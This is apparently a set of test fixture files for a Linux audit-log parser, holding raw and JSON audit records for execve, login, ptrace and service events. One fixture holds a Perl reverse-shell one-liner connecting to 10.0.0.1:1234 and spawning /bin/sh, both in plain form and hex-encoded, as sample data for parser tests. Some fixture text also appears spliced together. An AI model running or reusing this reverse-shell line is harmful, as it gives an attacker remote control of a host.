aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaacdaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaefaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag"]},"CWD":{"cwd":"/tmp"},"PATH":[{"item":0,"name":"/bin/echo","inode":261073,"dev":"ca:03","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","OUID":"root","OGID":"root"},{"item":1,"name":"/lib64/ld-linux-x86-64.so.2","inode":262146,"dev":"ca:03","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","OUID":"root","OGID":"root"}],"PROCTITLE":{"ARGV":["/bin/echo","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]}} 2 | -------------------------------------------------------------------------------- /src/testdata/record-execve.json: -------------------------------------------------------------------------------- 1 | {"ID":"1615114232.375:15558","NODE":"work","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":2,"ppid":10883,"pid":10884,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts1","ses":1,"comm":"whoami","exe":"/usr/bin/whoami","key":null,"ARCH":"x86_64","SYSCALL":"execve","AUID":"user","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0x63b29337fd18","0x63b293387d58","0x63b293375640","0xfffffffffffff000"]},"EXECVE":{"argc":1,"ARGV":["whoami"]},"CWD":{"cwd":"/home/user/tmp"},"PATH":[{"item":0,"name":"/usr/bin/whoami","inode":261214,"dev":"ca:03","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","OUID":"root","OGID":"root"},{"item":1,"name":"/lib64/ld-linux-x86-64.so.2","inode":262146,"dev":"ca:03","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","OUID":"root","OGID":"root"}],"PROCTITLE":{"ARGV":["whoami"]}} 2 | -------------------------------------------------------------------------------- /src/testdata/record-execve.txt: -------------------------------------------------------------------------------- 1 | node=work type=SYSCALL msg=audit(1615114232.375:15558): arch=c000003e syscall=59 success=yes exit=0 a0=63b29337fd18 a1=63b293387d58 a2=63b293375640 a3=fffffffffffff000 items=2 ppid=10883 pid=10884 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=1 comm="whoami" exe="/usr/bin/whoami" key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | node=work type=EXECVE msg=audit(1615114232.375:15558): argc=1 a0="whoami" 3 | node=work type=CWD msg=audit(1615114232.375:15558): cwd="/home/user/tmp" 4 | node=work type=PATH msg=audit(1615114232.375:15558): item=0 name="/usr/bin/whoami" inode=261214 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" 5 | node=work type=PATH msg=audit(1615114232.375:15558): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=262146 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" 6 | node=work type=PROCTITLE msg=audit(1615114232.375:15558): proctitle="whoami" 7 | node=work type=EOE msg=audit(1615114232.375:15558): 8 | -------------------------------------------------------------------------------- /src/testdata/record-login.json: -------------------------------------------------------------------------------- 1 | {"ID":"1640027821.949:151316","LOGIN":[{"pid":72605,"uid":0,"subj":"unconfined","old-auid":4294967295,"auid":0,"tty":"(none)","old-ses":4294967295,"ses":325,"res":1,"UID":"root","OLD-AUID":"unset","AUID":"root"}],"SYSCALL":{"arch":"0xc00000b7","syscall":64,"success":"yes","exit":1,"items":0,"ppid":519,"pid":72605,"auid":0,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":325,"comm":"cron","exe":"/usr/sbin/cron","subj":"unconfined","key":null,"ARCH":"aarch64","SYSCALL":"write","AUID":"root","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0x7","0xffffe505f9e0","0x1","0xffff90795f10"]}} 2 | -------------------------------------------------------------------------------- /src/testdata/record-login.txt: -------------------------------------------------------------------------------- 1 | type=LOGIN msg=audit(1640027821.949:151316): pid=72605 uid=0 subj=unconfined old-auid=4294967295 auid=0 tty=(none) old-ses=4294967295 ses=325 res=1UID="root" OLD-AUID="unset" AUID="root" 2 | type=SYSCALL msg=audit(1640027821.949:151316): arch=c00000b7 syscall=64 success=yes exit=1 a0=7 a1=ffffe505f9e0 a2=1 a3=ffff90795f10 items=0 ppid=519 pid=72605 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=325 comm="cron" exe="/usr/sbin/cron" subj=unconfined key=(null)ARCH=aarch64 SYSCALL=write AUID="root" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 3 | type=EOE msg=audit(1640027821.949:151316): 4 | -------------------------------------------------------------------------------- /src/testdata/record-nscd.json: -------------------------------------------------------------------------------- 1 | {"ID":"1705071450.879:29498378","SYSCALL":{"arch":"0xc000003e","syscall":42,"success":"no","exit":-2,"items":1,"ppid":1064378,"pid":3736674,"auid":1000,"uid":1000,"gid":1000,"euid":1000,"suid":1000,"fsuid":1000,"egid":1000,"sgid":1000,"fsgid":1000,"tty":"pts9","ses":2,"comm":"ls","exe":"/usr/bin/ls","subj":"unconfined","key":null,"ARCH":"x86_64","SYSCALL":"connect","AUID":"user","UID":"user","GID":"user","EUID":"user","SUID":"user","FSUID":"user","EGID":"user","SGID":"user","FSGID":"user","ARGV":["0x4","0x7ffeabb1aa00","0x6e","0x0"]},"SOCKADDR":[{"saddr":"%01%00/var/run/nscd/socket%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%008S%02%00%00%00%00%008S%02%00%00%00%00%00%00%10%00%00%00%00%00%00%01%00%00%00%05%00%00%00%00`%02%00%00%00%00%00%00`%02%00%00%00%00%00%00`%02%00%00%00%00%00&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]},"CWD":{"cwd":"/root"},"PATH":[{"item":0,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":1,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":2,"name":"/lib64/ld-linux-x86-64.so.2","inode":404797,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"}],"PROCTITLE":{"ARGV":["perl","-e","use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_at"]}} 2 | -------------------------------------------------------------------------------- /src/testdata/record-perl-reverse-shell.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1626611363.720:348501): arch=c000003e syscall=59 success=yes exit=0 a0=55c094deb5c0 a1=55c094dea770 a2=55c094dbf1b0 a3=fffffffffffff286 items=3 ppid=722076 pid=724395 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts3 ses=3 comm="perl" exe="/usr/bin/perl" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 2 | type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F61746F6E282469292929297B6F70656E28535444494E2C223E265322293B6F70656E285354444F55542C223E265322293B6F70656E285354444552522C223E265322293B6578656328222F62696E2F7368202D6922293B7D3B 3 | type=CWD msg=audit(1626611363.720:348501): cwd="/root" 4 | type=PATH msg=audit(1626611363.720:348501): item=0 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 5 | type=PATH msg=audit(1626611363.720:348501): item=1 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 6 | type=PATH msg=audit(1626611363.720:348501): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=404797 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" 7 | type=PROCTITLE msg=audit(1626611363.720:348501): proctitle=7065726C002D650075736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F6174 8 | type=EOE msg=audit(1626611363.720:348501): 9 | -------------------------------------------------------------------------------- /src/testdata/record-ptrace.json: -------------------------------------------------------------------------------- 1 | {"ID":"1739218487.007:22145057","SYSCALL":{"arch":"0xc000003e","syscall":101,"success":"yes","exit":0,"items":0,"ppid":1922034,"pid":2732828,"auid":0,"uid":0,"uid":0,"euid":0,"suid":0,"fsuid":0,"euid":0,"suid":0,"fsuid":0,"tty":"pts10","ses":2,"comm":"strace","exe":"/usr/bin/strace","subj":"unconfined","key":null,"ARGV":["0x4206","0x29b07b","0x0","0x51"]},"OBJ_PID":[{"opid":2732155,"oauid":0,"ouid":0,"oses":2,"obj":"unconfined","ocomm":"sleep"}]} 2 | -------------------------------------------------------------------------------- /src/testdata/record-ptrace.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1739218487.007:22145057): arch=c000003e syscall=101 success=yes exit=0 a0=4206 a1=29b07b a2=0 a3=51 items=0 ppid=1922034 pid=2732828 auid=0 uid=0 uid=0 euid=0 suid=0 fsuid=0 euid=0 suid=0 fsuid=0 tty=pts10 ses=2 comm="strace" exe="/usr/bin/strace" subj=unconfined key=(null) 2 | type=OBJ_PID msg=audit(1739218487.007:22145057): opid=2732155 oauid=0 ouid=0 oses=2 obj=unconfined ocomm="sleep" 3 | type=EOE msg=audit(1739218487.007:22145057): 4 | -------------------------------------------------------------------------------- /src/testdata/record-service-start.txt: -------------------------------------------------------------------------------- 1 | type=SERVICE_START msg=audit(1661853391.646:4486226): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=? msg='unit=apt-daily comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success'UID="root" AUID="unset" 2 | type=SYSCALL msg=audit(1661853391.646:4486226): arch=c000003e syscall=44 success=yes exit=120 a0=2e a1=7fff698a0190 a2=78 a3=0 items=0 ppid=0 pid=1 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="systemd" exe="/usr/lib/systemd/systemd" subj=? key=(null)ARCH=x86_64 SYSCALL=sendto AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" 3 | type=SOCKADDR msg=audit(1661853391.646:4486226): saddr=100000000000000000000000SADDR={ fam=netlink nlnk-fam=16 nlnk-pid=0 } 4 | type=UNKNOWN[1420] msg=audit(1661853391.646:4486226): subj_apparmor=unconfined 5 | type=EOE msg=audit(1661853391.646:4486226): 6 | -------------------------------------------------------------------------------- /src/testdata/record-syscall-key.json: -------------------------------------------------------------------------------- 1 | {"ID":"1628602815.266:2365","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":2,"ppid":3193,"pid":6382,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts0","ses":1,"comm":"cat","exe":"/usr/bin/cat","key":"filter-this","ARGV":["0x2557470","0x247b510","0x2565820","0x5bb"]}} 2 | {"ID":"1628602815.266:2366","SYSCALL":{"arch":"0xc000003e","syscall":0,"success":"yes","exit":0,"items":2,"ppid":3193,"pid":6382,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts0","ses":1,"comm":"cat","exe":"/usr/bin/cat","key":"filter-this","ARGV":["0x2557470","0x247b510","0x2565820","0x5bb"]}} 3 | {"ID":"1628602815.266:2367","SYSCALL":{"arch":"0xc000003e","syscall":0,"success":"yes","exit":0,"items":2,"ppid":3193,"pid":6382,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts0","ses":1,"comm":"cat","exe":"/usr/bin/cat","key":"this-too","ARGV":["0x2557470","0x247b510","0x2565820","0x5bb"]}} 4 | -------------------------------------------------------------------------------- /src/testdata/record-syscall-key.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1628602815.266:2365): arch=c000003e syscall=59 success=yes exit=0 a0=2557470 a1=247b510 a2=2565820 a3=5bb items=2 ppid=3193 pid=6382 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/usr/bin/cat" key="filter-this" 2 | type=EOE msg=audit(1628602815.266:2365): 3 | type=SYSCALL msg=audit(1628602815.266:2366): arch=c000003e syscall=0 success=yes exit=0 a0=2557470 a1=247b510 a2=2565820 a3=5bb items=2 ppid=3193 pid=6382 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/usr/bin/cat" key="filter-this" 4 | type=EOE msg=audit(1628602815.266:2366): 5 | type=SYSCALL msg=audit(1628602815.266:2367): arch=c000003e syscall=0 success=yes exit=0 a0=2557470 a1=247b510 a2=2565820 a3=5bb items=2 ppid=3193 pid=6382 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/usr/bin/cat" key="this-too" 6 | type=EOE msg=audit(1628602815.266:2367): 7 | -------------------------------------------------------------------------------- /src/testdata/record-syscall-nullkey.json: -------------------------------------------------------------------------------- 1 | {"ID":"1678282381.452:102336","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":5,"items":0,"ppid":1,"pid":3489504,"auid":34005,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":15589,"comm":"(systemd)","exe":"/usr/lib/systemd/systemd","subj":"system_u:system_r:init_t:s0","key":null,"ARGV":["0x9","0x7ffd4ac563d1","0x5","0x0"]}} 2 | {"ID":"1678282381.452:102337","SYSCALL":{"arch":"0xc000003e","syscall":1,"success":"yes","exit":5,"items":0,"ppid":1,"pid":3489504,"auid":34005,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":15589,"comm":"(systemd)","exe":"/usr/lib/systemd/systemd","subj":"system_u:system_r:init_t:s0","key":null,"ARGV":["0x9","0x7ffd4ac563d1","0x5","0x0"]}} 3 | {"ID":"1678283440.683:225","PROCTITLE":{"ARGV":["SomeRandomProcess"]},"PATH":[{"item":0,"name":"/proc/2414/root/usr/bin/su","inode":156161,"dev":"fd:00","mode":"0o104755","ouid":0,"ogid":0,"rdev":"00:00","obj":"system_u:object_r:su_exec_t:s0","objtype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0"}],"SYSCALL":{"arch":"0xc000003e","syscall":4,"success":"yes","exit":0,"items":1,"ppid":816,"pid":818,"auid":4292467295,"uid":502,"gid":502,"euid":502,"suid":502,"fsuid":502,"egid":502,"sgid":502,"fsgid":502,"tty":"(none)","ses":4296967295,"comm":"cat","exe":"/usr/bin/cat","subj":"system_u:system_r:system_t:s0","key":null,"ARGV":["0x7edd0caa2e7e0","0x7345b64adba0","0x7ff9874adba0","0xfeefeffefefefeff"]}} 4 | -------------------------------------------------------------------------------- /src/testdata/record-syscall-nullkey.txt: -------------------------------------------------------------------------------- 1 | type=SYSCALL msg=audit(1678282381.452:102336): arch=c000003e syscall=59 success=yes exit=5 a0=9 a1=7ffd4ac563d1 a2=5 a3=0 items=0 ppid=1 pid=3489504 auid=34005 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=15589 comm="(systemd)" exe="/usr/lib/systemd/systemd" subj=system_u:system_r:init_t:s0 key=(null) 2 | type=EOE msg=audit(1678282381.452:102336): 3 | 4 | type=SYSCALL msg=audit(1678282381.452:102337): arch=c000003e syscall=1 success=yes exit=5 a0=9 a1=7ffd4ac563d1 a2=5 a3=0 items=0 ppid=1 pid=3489504 auid=34005 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=15589 comm="(systemd)" exe="/usr/lib/systemd/systemd" subj=system_u:system_r:init_t:s0 key=(null) 5 | type=EOE msg=audit(1678282381.452:102337): 6 | 7 | type=PROCTITLE msg=audit(1678283440.683:225): proctitle=536f6d6552616e646f6d50726f63657373 8 | type=PATH msg=audit(1678283440.683:225): item=0 name="/proc/2414/root/usr/bin/su" inode=156161 dev=fd:00 mode=0104755 ouid=0 ogid=0 rdev=00:00 